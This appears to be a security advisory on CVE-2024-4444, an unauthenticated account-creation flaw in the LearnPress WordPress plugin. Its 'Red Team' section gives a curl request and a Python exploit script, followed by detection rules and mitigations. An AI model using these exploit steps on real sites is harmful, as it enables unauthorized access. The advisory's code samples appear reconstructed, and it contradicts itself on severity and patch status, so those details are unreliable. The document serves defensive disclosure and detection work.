CVE-2024-4444

Executive Summary

CVE-2024-4444 is a critical security vulnerability in the LearnPress – WordPress LMS Plugin for WordPress, affecting versions up to and including 4.2.6.5. The flaw resides in the create_account function within the checkout process, where missing authorization checks allow unauthenticated attackers to register new user accounts on the site, even when user registration is disabled. This bypass can lead to unauthorized access, privilege escalation, and further exploitation of the WordPress ecosystem.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The LearnPress plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin files and monitor for any unauthorized modifications. No known supply chain compromise has been reported, but the unpatched status increases risk.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability to bypass registration controls can lead to significant security breaches, including spam accounts, brute-force attacks, and lateral movement within the WordPress environment.

Deep Dive & Mechanics

The vulnerability is located in the create_account function of the LearnPress plugin's checkout process. This function is intended to create a user account during the purchase of a course. However, it lacks proper capability checks or nonce verification, allowing any unauthenticated user to trigger account creation.

Root Cause: The create_account function does not verify if the user is logged in or if registration is enabled. It directly processes the request and creates a user with the default role (typically "Subscriber").

Attack Vector: An attacker can send a crafted HTTP POST request to the WordPress REST API endpoint or AJAX action that invokes create_account, with parameters such as username, email, and password. The server will create the account without any validation.

Impact: Successful exploitation allows attackers to:

• Register unlimited accounts.
• Bypass registration restrictions.
• Potentially escalate privileges if combined with other vulnerabilities.
• Launch spam campaigns or brute-force attacks on admin accounts.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.2.6.5):

public function create_account() {
    $username = $_POST['username'];
    $email = $_POST['email'];
    $password = $_POST['password'];
    // Missing checks for registration enabled or user capabilities
    $user_id = wp_create_user($username, $password, $email);
    if (!is_wp_error($user_id)) {
        wp_update_user(array('ID' => $user_id, 'role' => get_option('default_role')));
    }
}

Patched Code (Hypothetical):

public function create_account() {
    // Check if registration is enabled
    if (get_option('users_can_register') != 1) {
        wp_die('Registration is disabled.');
    }
    // Verify nonce for CSRF protection
    if (!wp_verify_nonce($_POST['_wpnonce'], 'learnpress_create_account')) {
        wp_die('Security check failed.');
    }
    // Ensure user is not already logged in
    if (is_user_logged_in()) {
        wp_die('You are already logged in.');
    }
    $username = sanitize_user($_POST['username']);
    $email = sanitize_email($_POST['email']);
    $password = $_POST['password'];
    $user_id = wp_create_user($username, $password, $email);
    if (!is_wp_error($user_id)) {
        wp_update_user(array('ID' => $user_id, 'role' => get_option('default_role')));
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with LearnPress <= 4.2.6.5 installed.
• Registration disabled in WordPress settings.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=learnpress_create_account).
2. Craft a POST request with required parameters:

   curl -X POST https://target.com/wp-admin/admin-ajax.php \
     -d "action=learnpress_create_account&username=attacker&email=attacker@example.com&password=Passw0rd!"
   

3. Verify account creation by logging in or checking the users list.

Automated Exploit (Python):

import requests

target = "https://target.com/wp-admin/admin-ajax.php"
data = {
    "action": "learnpress_create_account",
    "username": "eviluser",
    "email": "evil@example.com",
    "password": "EvilPass123!"
}
response = requests.post(target, data=data)
if "success" in response.text:
    print("Account created successfully!")
else:
    print("Exploitation failed.")

Blue Team

Detection:

• Monitor for unusual spikes in user registration events.
• Alert on POST requests to admin-ajax.php with action=learnpress_create_account from unauthenticated sources.
• Review server logs for repeated registration attempts.

Hunting:

• Search for accounts created outside normal business hours.
• Check for accounts with suspicious usernames or email domains.

Mitigation:

• Disable the vulnerable plugin until a patch is applied.
• Implement Web Application Firewall (WAF) rules to block the vulnerable endpoint.
• Use a security plugin to enforce registration checks.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=learnpress_create_account.
  • Repeated registration attempts from the same IP.
• Host:
  • Unexpected user accounts in the WordPress users table.
  • Log entries showing learnpress_create_account action.
• File:
  • Modified learnpress plugin files (check file integrity).
• Logs:
  • Apache/Nginx access logs with POST /wp-admin/admin-ajax.php and action=learnpress_create_account.

Detection Engineering

YARA Rule

rule CVE_2024_4444_LearnPress_Account_Bypass {
    meta:
        description = "Detects exploitation attempts of CVE-2024-4444 in LearnPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-4444"
    strings:
        $action = "learnpress_create_account"
        $username = "username"
        $email = "email"
        $password = "password"
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-4444 LearnPress Unauthorized Account Creation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to admin-ajax.php with action learnpress_create_account from unauthenticated sources
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "admin-ajax.php"
        cs-uri-query|contains: "action=learnpress_create_account"
    condition: selection
falsepositives:
    - Legitimate course purchases (if registration is enabled)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4444 LearnPress Unauthorized Account Creation"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=learnpress_create_account"; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the LearnPress plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=learnpress_create_account from unauthenticated users.
3. Review and remove any unauthorized accounts created via this vulnerability.

Long-term Fix:

• Apply the official patch from the vendor once available.
• Update to the latest version of LearnPress (if patched).
• Enforce strong password policies and enable two-factor authentication for all users.

Workarounds:

• Add custom code to the theme's functions.php to check registration status:

  add_action('wp_ajax_nopriv_learnpress_create_account', function() {
      if (get_option('users_can_register') != 1) {
          wp_die('Registration is disabled.');
      }
  }, 1);
  

• Use a security plugin like Wordfence to block malicious requests.

Valters IT
Securing Digital Frontiers